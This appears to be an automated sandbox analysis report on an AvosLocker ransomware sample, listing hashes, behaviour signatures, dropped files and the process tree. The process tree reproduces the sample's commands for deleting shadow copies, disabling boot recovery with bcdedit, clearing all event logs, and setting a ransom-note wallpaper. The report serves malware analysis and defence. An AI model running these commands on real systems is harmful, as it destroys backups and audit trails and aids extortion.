Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    08-09-2024 14:20

General

  • Target

    AvosLocker.exe

  • Size

    807KB

  • MD5

    8da384b2427b8397a5934182c159c257

  • SHA1

    7bcd2d32a19c1ac7bd014dc9e64b806fdff5f5de

  • SHA256

    f8e99bbacc62b0f72aa12f5f92e35607fa0382a881fe4a4b9476fc6b87a03c78

  • SHA512

    3c4b1736efa48a4897769f12df488e60737523eaffc886ecfbd5b7191f058749bdb4a36feb067e8ca0ef418a7602b3390b6cf465412b88a4ba2fce8a4d670a89

  • SSDEEP

    12288:0Z4s3rg9u/2/oT+NXtHLlP/O+OeO+OeNhBBhhBBAtHg9rjI+LXJ0ivlzkHBDsYAu:u4s+oT+NXBLi0rjFXvyHBlb6CZa8

Malware Config

Signatures

  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Renames multiple (10418) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe
    "C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe"
    1⤵
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1036
    • C:\Windows\system32\cmd.exe
      cmd /c wmic shadowcopy delete /nointeractive
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2160
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic shadowcopy delete /nointeractive
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1812
    • C:\Windows\system32\cmd.exe
      cmd /c vssadmin.exe Delete Shadows /All /Quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2800
      • C:\Windows\system32\vssadmin.exe
        vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Interacts with shadow copies
        PID:1708
    • C:\Windows\system32\cmd.exe
      cmd /c bcdedit /set {default} recoveryenabled No
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2816
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} recoveryenabled No
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:3036
    • C:\Windows\system32\cmd.exe
      cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2844
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:2212
    • C:\Windows\system32\cmd.exe
      cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2856
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1792
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$a = [System.IO.File]::ReadAllText(\"F:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4196
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1882079261.png /f
        3⤵
        • Sets desktop wallpaper using registry
        PID:444
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
        3⤵
          PID:5112
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2868

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\1882079261.png

      Filesize

      32KB

      MD5

      3c448ddcee1b63f8aae7d952e5061bdc

      SHA1

      3163bc4036c9068a56664179b9a0db0bbbce339e

      SHA256

      ae6bd768e8208c7bd88184f51087c60069345142f7baa779a300b8d366ddc89f

      SHA512

      5ae3644d243c4f347097dafbd6ffe97e26b85343e8264b2a0f7b099b3f181dc2e9a1c2b572f173a953117a44c055e26cd63025e9d2f2ffe6e3ec408ccb79a58b

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      1be5c83cfe6067d91b6a1f1ce121f259

      SHA1

      cfaace668afef85fe2566ac4ff05ef8e4cbc2de3

      SHA256

      ee6fb1847562eae19e1630bb450350e6380b98b32da63591058cb841a44e5e49

      SHA512

      c9e58760852db5b545eae0761a5ac26da17f3516312b703ad32d9bad2029ff4bfebce9da326a26b314e9aa142d2fc16d7425d80678a1a7813a028206e9150be3

    • C:\Users\GET_YOUR_FILES_BACK.txt

      Filesize

      1011B

      MD5

      01188d22b1675e3437b1418e14f4ffab

      SHA1

      6e7127f3bbfce49485ed8f1acf8f697bcb952818

      SHA256

      e4b3ac00a0b2eb195b26abffbc4368077384e73393e51605edda17dae05ab7f2

      SHA512

      6903ae3247f32ad79c60a2062cd6a7bdbf5a7c9db1bdc43bdbef4da3396945014d30968ea4c8531a2d0c7b695f1ea36e2b8c51bb39cc6157c4096ac04a6e187d

    • memory/1792-1118-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

      Filesize

      2.9MB

    • memory/1792-1170-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

      Filesize

      32KB

    • memory/4196-24583-0x000000001B760000-0x000000001BA42000-memory.dmp

      Filesize

      2.9MB

    • memory/4196-24584-0x0000000001F70000-0x0000000001F78000-memory.dmp

      Filesize

      32KB